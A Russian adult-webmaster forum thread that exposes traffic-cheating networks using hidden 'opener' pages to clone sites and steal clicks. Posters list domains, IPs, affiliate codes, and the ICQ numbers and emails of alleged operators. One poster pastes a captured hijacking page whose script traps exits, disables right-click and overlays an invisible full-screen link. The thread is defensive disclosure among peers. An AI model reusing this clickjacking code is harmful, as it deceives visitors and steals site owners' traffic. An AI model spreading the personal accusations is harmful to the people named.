Новая тема   Ответить

 Member No.5000
Вырос очередной гнойник.
Старые знакомые судя по всему.

Основные направления - мультиниш и матурные сиджетубы

кто не знаком с явлением, читать тут
Silver-teens.com - троян вставляет
Iopensecrets.com & teens-peaches.com - скрытые opener-ы
Читеры teenycandoit.com pussyteenvids.com nicepornvideo ит.д
в последнем топике есть скрин как это выглядит http://cjlist.info/myfiles/example.jpg
в опенере открывается урл читера, но подгружается копия вашего сайта, при этом все клики уже идут налево.

Пресловутый diamoxum, опять за старое взялся.
В процессе отладки читерского скрипта у них видать глючило, и гугль это дело закешировал.

копии ваших сайтов (по рефу, только хтмл) по началу хранились тут (домен, ИП, номер сервере у адванседов)
сейчас другой домен используется, об этом позже.

trackithit.com 46.229.163.84 DS2063

кеш можно тут глянуть
http://www.google.com/search?q=inurl%3Atrackithit.com%2Ftmp
скрин если кеш помрёт


а вот как судя по всему оно вставляется (инклюдится), если срабатывает триггер ихний, или что там у них.


код ошибки в более читабельном виде, если кому интересно

Notice:  Undefined index:  HTTP_REFERER in /home/trade/newpornsex.com/inc.php on line 357
array(21) {
  ["HTTP_REFERER"]=>
  NULL
  ["GEOIP_COUNTRY_CODE"]=>
  string(2) "US"
  ["DOCUMENT_ROOT"]=>
  string(26) "/home/trade/newpornsex.com"
  ["HTTP_ACCEPT_LANGUAGE"]=>
  NULL
  ["HTTP_USER_AGENT"]=>
  string(72) "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
  ["HTTP_ACCEPT"]=>
  string(3) "*/*"
  ["HTTP_HOST"]=>
  string(14) "newpornsex.com"
  ["SCRIPT_FILENAME"]=>
  string(45) "/home/trade/newpornsex.com/scj/tube/index.php"
  ["REQUEST_METHOD"]=>
  string(3) "GET"
  ["REMOTE_ADDR"]=>
  string(13) "66.249.75.180"
  ["SCRIPT_NAME"]=>
  string(19) "/scj/tube/index.php"
  ["PHP_SELF"]=>
  string(19) "/scj/tube/index.php"
  ["TIME"]=>
  int(1357481118)
  ["SERVER_SOFTWARE"]=>
  string(31) "Apache/2.2.23 (Unix) PHP/5.2.17"
  ["SERVER_PROTOCOL"]=>
  string(8) "HTTP/1.0"
  ["FEA_SERVER_NAME"]=>
  string(14) "newpornsex.com"
  ["FEA_REQUEST_URI"]=>
  string(48) "/gallery/teen-plays-with-man-s-cock-5/index.html"
  ["FEA_SCRIPT_NAME"]=>
  string(8) "/inc.php"
  ["FEA_SIMPLE_PROXY"]=>
  bool(false)
  ["SIMPLE_PROXY"]=>
  bool(true)
  ["FEA_ACTION"]=>
  string(4) "MAIN"
}

Warning:  preg_match() expects parameter 2 to be string, array given in /home/feaserver/trackithit.com/index.php on line 1791

Notice:  Undefined offset:  0 in /home/feaserver/trackithit.com/index.php on line 1286

Fatal error:  Call to a member function closeCursor() on a non-object in /home/feaserver/trackithit.com/index.php on line 1841

Warning:  Cannot modify header information - headers already sent in /home/trade/newpornsex.com/scj/tube/index.php on line 0


в гугле также куча кешей с подобным
http://www.google.com/search?q=newpornsex+feaserver%2Ftrackithit.com
http://www.google.com/search?q=greattubeporn+feaserver%2Ftrackithit.com

В данный момент копии ваших сайтов делаются там же, только на соседнем ИП.
копии временные, и удаляются со временем.

allfreestat.com 46.229.163.85 DS2063

в base target видно чья копия



ещё скрины с разными сайтами
















пачка пока живых урлов
http://allfreestat.com/tmp/415/441527cbff955e71e0e06ba7cef74acd.html
http://allfreestat.com/tmp/eac/feacbf6ec0cb361710b55e5b7aae96ea.html
http://allfreestat.com/tmp/05c/205cdf4682c15ad74e86dba63f603ed5.html
http://allfreestat.com/tmp/1af/81afe672ae367fb2e1b21f5a39126aac.html
http://allfreestat.com/tmp/b7a/4b7a50ce6911b73e4bc2df18c44323ab.html
http://allfreestat.com/tmp/c59/5c5992c12cb6d2a93f1a2330408b1d60.html
http://allfreestat.com/tmp/d71/2d713f1d3aaa7ff4022e2706cddcf0ca.html
http://allfreestat.com/tmp/e94/5e948099e9bc47848fb554be01a9f30f.html

Последний раз редактировалось: Member No.5000 (21/02/13 в 22:12), всего редактировалось 2 раз(а)

 Member No.5000
Теперь собственно сами сетки, кто этой хернёй занимается.
следите за ИП, номерами серваков, и кодами на партнёрках.

из старых вышеупомянутых топиков, чтоб была ясна связь

silver-teens.com 46.229.162.102 DS2062
http://trafficholder.com/aff.php?xam2000

juicy-milf.com 46.229.162.103 DS2062
http://trafficholder.com/aff.php?xam2000

kpornstars.com 46.229.162.103 DS2062
http://www.trafficholder.com/aff.php?xam2000

Свежак
Домены с копиями
trackithit.com 46.229.163.84 DS2063
allfreestat.com 46.229.163.85 DS2063

Сетки

http://qtrafficgroup.com/ 46.229.162.97 DS2062
icq 600158451 - Samson


aboutpornxxx.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=728x90&login=qtrafficgroup
http://www.trafficholder.com/aff.php?qtg

greatpornsex.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=728x90&login=qtrafficgroup
http://www.trafficholder.com/aff.php?qtg


newpornsex.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=468x60&login=qtrafficgroup
http://www.trafficholder.com/aff.php?qtg

qtubemovies.com 46.229.162.102 DS2062
http://www.trafficholder.com/aff.php?tordely62

qtubevideos.com 46.229.162.102 DS2062
http://www.trafficholder.com/aff.php?ficking

totalmaturetube.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
http://www.trafficholder.com/aff.php?theaking

tubelovely.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
http://www.trafficholder.com/aff.php?fifeled90

tubenervous.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
name="flashvars" value="clickTAG=http%3A%2F%2Fadultfriendfinder.com%2Fgo%2Fg1323323-pct
http://www.trafficholder.com/aff.php?spingired

tubeperfect.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
http://www.trafficholder.com/aff.php?deakeple

-----------------------------------------------------------------

http://adagio.biz/ 46.229.162.96 DS2062
Dias 705314
SkySpirit 687565
Adagio 145179


1stpornstreet.com 46.229.162.103 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
name="flashvars" value="clickTAG=http%3A%2F%2Fadultfriendfinder.com%2Fgo%2Fg1323323-pct
http://www.trafficholder.com/aff.php?galonx

alongporn.com 46.229.162.101 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
http://www.trafficholder.com/aff.php?alonn

aroundporn.com 46.229.162.101 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup

generalporntube.com 46.229.162.103 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup

globaltubeporn.com 46.229.162.101 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup

goodporntubes.com 46.229.162.96 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup

hqxxxtubes.com 46.229.162.101 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup

largefreeporn.com 46.229.162.101 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
http://trafficholder.com/aff.php?shamrok

oloporntube.com 46.229.162.103 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup


trustedporntube.com 46.229.162.103 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
http://www.trafficholder.com/aff.php?galonx

tvporntubes.com 46.229.162.101 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup

------------------------------------------------------

http://trafficfortrade.com/ 46.229.162.97 DS2062
icq 360454453 - Searcher
http://trafficholder.com/aff.php?searcher
http://www.trafficshop.com/home/?aff=Searcher2


greattubeporn.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
name="flashvars" value="clickTAG=http%3A%2F%2Fadultfriendfinder.com%2Fgo%2Fg1323323-pct
http://www.trafficholder.com/aff.php?salletch1993


hqadulttube.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
http://www.trafficholder.com/aff.php?thaut1931

matureagent.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
http://trafficholder.com/aff.php?Searcher

maturefortube.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
http://trafficholder.com/aff.php?cely1984

maturemovieonline.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
http://trafficholder.com/aff.php?searcher

maxadulttube.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
http://www.trafficholder.com/aff.php?leyanna

tubefreexxx.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
http://www.trafficholder.com/aff.php?leyanna

tubegaymales.com 46.229.162.102 DS2062
http://www.trafficholder.com/aff.php?griat1948

tubematureworld.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
http://www.trafficholder.com/aff.php?aphism

===============================

Также немного реверсов с ИП-шек

Старые знакомые

46.229.162.102 DS2062

http://genporn.com/
http://tubemommy.com/
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
http://www.trafficholder.com/aff.php?qtg

basssex.com
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
src="http://banners.adultfriendfinder.com/go/page/iframe_btn_banner?width=300&blabla&pid=g1323323-pct
http://www.trafficholder.com/aff.php?bass

my-sex-porno.com
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
src="http://banners.adultfriendfinder.com/go/page/iframe_btn_banner?width=300&blabla&pid=g1323323-pct
http://www.trafficholder.com/aff.php?qtg

-------

46.229.163.84 DS2063

тут пока разгребал, сами домены поумирали, но сайты отзеркалились на соседний ИП 46.229.163.86 на этом же серваке.
впрочем в кеше гугля они есть.
новые зеркала - свежереги, во всю на холдере уже продают траф. Они там сейчас с пометкой new. Не сложно отыскать.

adultpornpost.com
src="http://syndication.exoclick.com/ads.php?type=300x250&login=adagio
http://www.trafficholder.com/aff.php?qtg
http://www.trafficshop.com/home/?aff=Taito

axatube.net (зеркало axa-tube.com [Creation Date: 15-feb-2013] 46.229.163.86 DS2063)
src="http://syndication.exoclick.com/ads.php?type=728x90&login=qtrafficgroup
http://www.trafficholder.com/aff.php?diamoxum

besttubegay.com
besttubeteen.com
hixtube.com
listmaturetube.com
maturefilmtube.com
nanotubeporn.com
olotube.net (зеркало olo-tube.com [Creation Date: 15-feb-2013] 46.229.163.86 DS2063)
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup

pixtube.net
pornavailable.com
pornbroad.com

pornmating.com (зеркало porn-mating.com 46.229.163.86 DS2063)
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
src="http://banners.adultfriendfinder.com/go/page/iframe_btn_banner?width=300&blabla&pid=g1323323-pct

pornmaturesite.com

sexporndirect.com (sex-porn-direct.com)
src="http://syndication.exoclick.com/ads.php?type=728x90&login=qtrafficgroup
http://www.trafficholder.com/aff.php?goodwinwm

thepornonline.com
tubematurefilm.com
tubevintageworld.com (зеркало tube-vintage-world.com 46.229.163.86 DS2063)
wantfreeporn.com (зеркало want-free-porn.com 46.229.163.86 DS2063)

46.229.163.86 DS2063

free-porn-call.com
src="http://syndication.exoclick.com/ads.php?type=728x90&login=qtrafficgroup

===============================================================

Также, нашёл совпадение по коду AFF, g1323323-pct

http://porntrap.com/trade.html 46.229.168.7 DS2071
671466295
featds@gmail.com

porntrap.com 46.229.168.7 DS2071
href="http://adultfriendfinder.com/go/g1323323-pct
src="http://syndication.exoclick.com/ads.php?type=300x250&login=porntrap
http://trafficholder.com/aff.php?tubegroup
http://www.trafficshop.com/home/?aff=featds

и далее

PornGrange.com
SexSnare.com
PornLobe.com
PornSorts.com
PornMatchs.com
BabesCola.com
YoungGirlsFuck.com
FlameBodies.com
SmuttyWife.com
My-Sexy-Links.com
teenxxxfest.com
sissyfans.com
sexgirlsfucking.com
titsclips.com
pornicum.com
pornslutsex.com
skirtlover.com
cumloves.com
sexyrole.com

 Member No.5000
все домены списком

1stpornstreet.com
aboutpornxxx.com
adultpornpost.com
allfreestat.com
alongporn.com
aroundporn.com
axa-tube.com
axatube.net
babescola.com
basssex.com
besttubegay.com
besttubeteen.com
cumloves.com
flamebodies.com
free-porn-call.com
generalporntube.com
genporn.com
globaltubeporn.com
goodporntubes.com
greatpornsex.com
greattubeporn.com
hixtube.com
hqadulttube.com
hqxxxtubes.com
juicy-milf.com
kpornstars.com
largefreeporn.com
listmaturetube.com
matureagent.com
maturefilmtube.com
maturefortube.com
maturemovieonline.com
maxadulttube.com
my-sex-porno.com
my-sexy-links.com
nanotubeporn.com
newpornsex.com
olo-tube.com
oloporntube.com
olotube.net
pixtube.net
porn-mating.com
pornavailable.com
pornbroad.com
porngrange.com
pornicum.com
pornlobe.com
pornmatchs.com
pornmating.com
pornmaturesite.com
pornslutsex.com
pornsorts.com
porntrap.com
qtubemovies.com
qtubevideos.com
sex-porn-direct.com
sexgirlsfucking.com
sexporndirect.com
sexsnare.com
sexyrole.com
silver-teens.com
sissyfans.com
skirtlover.com
smuttywife.com
teenxxxfest.com
thepornonline.com
titsclips.com
totalmaturetube.com
trackithit.com
trustedporntube.com
tube-vintage-world.com
tubefreexxx.com
tubegaymales.com
tubelovely.com
tubematurefilm.com
tubematureworld.com
tubemommy.com
tubenervous.com
tubeperfect.com
tubevintageworld.com
tvporntubes.com
want-free-porn.com
wantfreeporn.com
younggirlsfuck.com



акки на траффик холдере
http://trafficholder.com/aff.php?cely1984
http://trafficholder.com/aff.php?searcher
http://trafficholder.com/aff.php?shamrok
http://trafficholder.com/aff.php?tubegroup
http://trafficholder.com/aff.php?xam2000
http://www.trafficholder.com/aff.php?alonn
http://www.trafficholder.com/aff.php?aphism
http://www.trafficholder.com/aff.php?bass
http://www.trafficholder.com/aff.php?deakeple
http://www.trafficholder.com/aff.php?diamoxum
http://www.trafficholder.com/aff.php?ficking
http://www.trafficholder.com/aff.php?fifeled90
http://www.trafficholder.com/aff.php?galonx
http://www.trafficholder.com/aff.php?goodwinwm
http://www.trafficholder.com/aff.php?griat1948
http://www.trafficholder.com/aff.php?leyanna
http://www.trafficholder.com/aff.php?qtg
http://www.trafficholder.com/aff.php?salletch1993
http://www.trafficholder.com/aff.php?spingired
http://www.trafficholder.com/aff.php?thaut1931
http://www.trafficholder.com/aff.php?theaking
http://www.trafficholder.com/aff.php?tordely62
http://www.trafficholder.com/aff.php?xam2000

на траффик шопе

http://www.trafficshop.com/home/?aff=Searcher2
http://www.trafficshop.com/home/?aff=Taito
http://www.trafficshop.com/home/?aff=featds

-----

Вот такие пироги.
Такого рода вещи обычно сопровождаются хитботами, и троянами.
Посмотрите у себя в скриптах рефы в нотрейде, вполне вероятно найдетё
хиты с allfreestat.com

 awm_mark
его уже все знают, если не ошибаюсь с персонажем, в Ижевске у них офис, там реально толпа народа работает. На старом компе были его даные и сканы доков и уголовного дела (дело он как-то сам все выкладывал). Хотя адалт - это так, чисто для трафа, там темы другие

 kara
ТС респэкт, гуд ворк

 Esso
Спасибо почистили трейды

 net666
Большое спасибо.

 S_Flash

долго прийдётся сортировать, что к чему.. В любом случае спасибо!

 aewm
отличный анализ, спасибо

 TGPtraffic_biz_inSect
Большое спасибо !
А я думаю почему в мультинишах упала прода катастрофически и не возвращается, хоть убей.
Добавил уродов, ротацию обосрали, теперь хотя бы можно восстанавливать, а то я уже думал забить на сайты.

 kost9
Весма познавательно. А не является ли внутренний номер сервера конфиденциальной информацией?

 kort


ты предлагаешь соблюсти приваси читеров, и удалить о них инфу?

 kost9
kort писал:

Я ничего не предлагаю. Мне интересно как можно узнать информацию такого рода.

 Anab0L1k
kost9: С помощью Whois и Reverse IP

 kost9
Anab0L1k: Приведи пример. У меня не получается определить имя своего сервера.

 dmmcash
А как сами адванседы относятся к этому? По сути ведь вредоносное ПО.
Увидел подобное чудо при переходе на одного из трейдеров. Выкладывать не буду потому как может это его трейдскрипт шалит, сам не разобрался но трейдера пока забанил на всякий потому как точно через него все это пошло.

Случайно обнаружил когда проверял сайт после переноса. Ниша шемале.
После перехода осталась морда моего сайта а урл сменился на mylovelytube.
Айпи от АН только не из вышеуказаного списка. Кому лень код смотреть:213.174.132.48 и 213.174.132.53 а домен откуда грузится хрень cntrxq.com

Ну и код приведу для интересующихся:
Content-Type: multipart/related; start=<op.mhtml.1362240069775.76768a647448fe81@192.168.1.2>; boundary=----------sJe5nxZRPFcrNgqYYqNrju
Content-Location: http://mylovelytube.com/
Subject: =?utf-8?Q?10shemale=20-=20free=20porn=20at=2010shemale.com?=
MIME-Version: 1.0

------------sJe5nxZRPFcrNgqYYqNrju
Content-Disposition: inline; filename=default.htm
Content-Type: text/html; name=default.htm
Content-ID: <op.mhtml.1362240069775.76768a647448fe81@192.168.1.2>
Content-Location: http://mylovelytube.com/
Content-Transfer-Encoding: 8bit

<html>
<head>
<title>10shemale - free porn at 10shemale.com</title>
<style type='text/css'>body {overflow: hidden;}</style>
</head>
<body topmargin=0 leftmargin=0 rightmargin=0 bottommargin=0 scroll=no onbeforeunload="return ''">
<iframe src="javascript:document.write('<html><script>var a=\'\';</script><body onbeforeunload=\'return a\'></body></html>');" style="display:none" width="1" height="1"></iframe>
<iframe src="javascript:document.write('<html><script>var a=\'\';</script><body onbeforeunload=\'return a\'></body></html>');" style="display:none" width="1" height="1"></iframe>
<iframe src="javascript:document.write('<html><script>var a=\'\';</script><body onbeforeunload=\'return a\'></body></html>');" style="display:none" width="1" height="1"></iframe>
<iframe src="javascript:document.write('<html><script>var a=\'\';</script><body onbeforeunload=\'return a\'></body></html>');" style="display:none" width="1" height="1"></iframe>

<script type='text/javascript'>function wheel(event){var delta=0;if (!event){event=window.event;}if (event.wheelDelta){delta=event.wheelDelta/120;if (window.opera){delta=-delta;}}else if (event.detail){delta=-event.detail/3;}if (delta){document.getElementById('maindiv').style.display='none';setTimeout("document.getElementById('maindiv').style.display='block'", 300);}}if (window.addEventListener){window.addEventListener('DOMMouseScroll', wheel, false);}window.onmousewheel=document.onmousewheel=wheel;</script>

<script type='text/javascript'>window.document.oncontextmenu=function(){return false;}</script>

<div id='maindiv' style="position: absolute; margin: 0; left:-16; top: -10; width: 100%; height: 100%; background-position: center center; background-repeat: no-repeat;"><a href='http://cntrxq.com/v/cl.php?c=1&slyun=1KaxreDWrJ6uVZundHDS1Ojm2YWt2K5lZG0ic9vR5tTRyN%2FU6pyYpnR11dGn1tTQlKDnbWxtImTi2drc08LbyZZunG0zNaedtOafmqyH6aaYpV9p14603J%2BWqZWvpm1kMDqV3t7ZytXX19Ocl1U7aa2fr6SXla3YrmptVWNv6Nrt5d6FrdiuZW1VTkyVp%2BytlpSsh%2BaYl5xyZdbg7uXRha3YrmNtVSI75qayrYfS4srimKWocmyVp%2Bytl5esh9ynp6M6L6LZ8t%2FU2dfR7aeolWUu1tvmooee5Z%2BrbVWlZWbY3t7lh57ln6ZkbVVodOfcs6KUlKLY3JiglGxloc%2Fo4JSFreI%3D' target='_blank' id='mainlink' style='cursor: default'><img src='http://213.174.132.48/images/img.gif' width='100%' height='100%' border='0' style='padding: 0; margin: 0;'></a></div>

<script type='text/javascript'>
function createRequestObject() {
if (typeof XMLHttpRequest === 'undefined') {
XMLHttpRequest = function() {try { return new ActiveXObject("Msxml2.XMLHTTP.6.0"); }catch(e) {}
try { return new ActiveXObject("Msxml2.XMLHTTP.3.0"); }catch(e) {}
try { return new ActiveXObject("Msxml2.XMLHTTP"); }catch(e) {}
try { return new ActiveXObject("Microsoft.XMLHTTP"); }catch(e) {}
throw new Error("This browser does not support XMLHttpRequest.");
};
}
return new XMLHttpRequest();
}

function getcontent(){
var xmlhttp=createRequestObject();
xmlhttp.open('GET', 'http://mylovelytube.com/slytmp/05/050a77097699d4864f05ce109cfb2ead.php?slylink=#', true);
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4) window.frames['frm'].document.write(xmlhttp.responseText);
}
xmlhttp.send(null);
}
</script>
<iframe name='frm' src="javascript:x=' ';" width=100% height=100% frameborder=0 onload="getcontent()"></iframe>
</body>
</html>

------------sJe5nxZRPFcrNgqYYqNrju
Content-Disposition: inline; filename=img.gif
Content-Type: image/gif; name=img.gif
Content-Location: http://213.174.132.48/images/img.gif
Content-Transfer-Encoding: Base64

R0lGODlh9AH0AYAAAP///wAAACH5BAEAAAAALAAAAAD0AfQBAAL/hI+py+0Po5y0
2ouz3rz7D4biSJbmiabqyrbuC8fyTNf2jef6zvf+DwwKh8Si8YhMKpfMpvMJjUqn
1Kr1is1qt9yu9wsOi8fksvmMTqvX7Lb7DY/L5/S6/Y7P6/f8vv8PGCg4SFhoeIiY
qLjI2Oj4CBkpOUlZaXmJmam5ydnp+QkaKjpKWmp6ipqqusra6voKGys7S1tre4ub
q7vL2+v7CxwsPExcbHyMnKy8zNzs/AwdLT1NXW19jZ2tvc3d7f0NHi4+Tl5ufo6e
rr7O3u7+Dh8vP09fb3+Pn6+/z9/v/w8woMCBBAsaPIgwocKFDBs6fAgxosSJFCta
vIgxo8aN/xw7evwIMqTIkSRLmjyJMqXKlSxbunwJM6bMmTRr2ryJM6fOnTx7+vwJ
NKjQoUSLGj2KNKnSpUybOn0KNarUqVSrWr2KNavWrVy7ev0KNqzYsWTLmj2LNq3a
tWzbun0LN67cuXTr2r2LN6/evXz7+v0LOLDgwYQLGz6MOLHixYwbO34MObLkyZQr
W76MObPmzZw7e/4MOrTo0aRLmz6NOrXq1axbu34NO7bs2bRr276NO7fu3bx7+/4N
PLjw4cSLGz+OPLny5cybO38OPbr06dSrW7+OPbv27dy7e/8OPrz48eTLmz+PPr36
9ezbu38PP778+fTr27+PP7/+/fz7+/3/D2CAAg5IYIEGHohgggouyGCDDj4IYYQS
TkhhhRZeiGGGGm7IYYcefghiiCKOSGKJJp6IYooqrshiiy6+CGOMMs5IY4023ohj
jjruyGOPPv4IZJBCDklkkUYeiWSSSi7JZJNOPglllFJOSWWVVl6JZZZabslll15+
CWaYYo5JZplmnolmmmquyWabbr4JZ5xyzklnnXbeiWeeeu7JZ59+/glooIIOSmih
hh6KaKKKLspoo44+Cmmkkk5KaaWWXopppppuymmnnn4Kaqiijkpqqaaeimqqqq7K
aquuvgprrLLOSmuttt6Ka6667sprr77+Cmywwg5LbLHGxlYAADs=

------------sJe5nxZRPFcrNgqYYqNrju--

 *_*
спасиба

 dmmcash
Забанил еще один сайт. Причем в коде не видно ничего подозрительного на мой непрофессиональный взгляд. И тут встает вопрос, а как всю сетку проверить? Руками точно не получится, а садит проду сильно. Rуки и хистори чищу и только потом эту херь увидел случайно. Они еще может айпи проверяют на уникальность. Есть ли скрипты для проверки на опенер? Трейдэксперт видимо такой встроенной фунции не имеет. Да и какой трейдскрипт имеет. А эти ублюдки как спалятся, айпи опять сменят.
Поделитесь пожалуйста мнением на этот счет.

 Nightmare


Последний раз редактировалось: Nightmare (18/05/15 в 15:40), всего редактировалось 1 раз

 dmmcash
Nightmare писал:

Спасибо большое за подсказку. Включил у себя Click Back. Буду мониторить.
Заодно написал абузу адванседам, интересно как они среагируют.

UPD:
Не забудьте добавить в блек очередного урода:
opravids.com (206.72.207.93)
exxxmovs.com (206.72.207.86)
wikstube.com (206.72.207.87)
mrbigfuck.com (206.72.207.85)
66.45.236.166 - а это видимо их командный центр.

Понятно что пишу не голословно. Скрины и коды страниц есть. На них через ТН шел трафф, туда я уже написал.

Последний раз редактировалось: dmmcash (04/03/13 в 06:12), всего редактировалось 1 раз

 Ara Man
dmmcash:
поставь нормально точки, тк многие проверяют трейдеров по домену

 loksa
dmmcash писал:
В пятницу вечером на трафикхолдере отловлил пачку урлов покупателей с этой хернёй (была цепочка опенеров)



урлы покупателей были эти

http://hotmomclips.net/tube.php
http://3xclipz.net/tube.php
http://freetopporn.net/tube.php
http://porntubeclips.net/index.php
http://parentsporn.net/tube.php

Сейчас там стоит уже 302 редирект на http://secretsporn.com/

Тоесть менялось на выходные только, судя по всему.

 Franko
Еще один дятел, региться под ником Alex в мультиниши, аська правда левая
xxxnewporn.net
634320760

 dmmcash
Набрал ручной проверкой достаточно статистики со своих сайтов чтобы написать- вот он гад с опенером:
trannymoviestube.com
transporntube.com
transpassionstube.com
ultrashemaletube.com
shemalemoviestube.com
tgirlsporntube.com
extrashemaletube.com
shemalecockstube.com
1shemalestube.com
myshemalestube.com
shemalemegatube.com
|Robert|621872324|shemalenetwork@gmail.com

Заодно посмотрите его сайты через ссылку внизу любого. Там список поболее и ниши разные. Их я не чекал потому и не стал выкладывать сюда.

UPD: AdvancedHosters среагировали на абузу и отказывают этому плохому человеку в обслуживании, скоро сайты или сдохнут или поедут к другому хостеру. Абузы поедут следом за ним.
Всем хорошей проды.

 xDiver
Franko писал:
вот еще 1 - gonzoxxxmovs.net
вместе с xxxnewporn.net ко мне только что добавил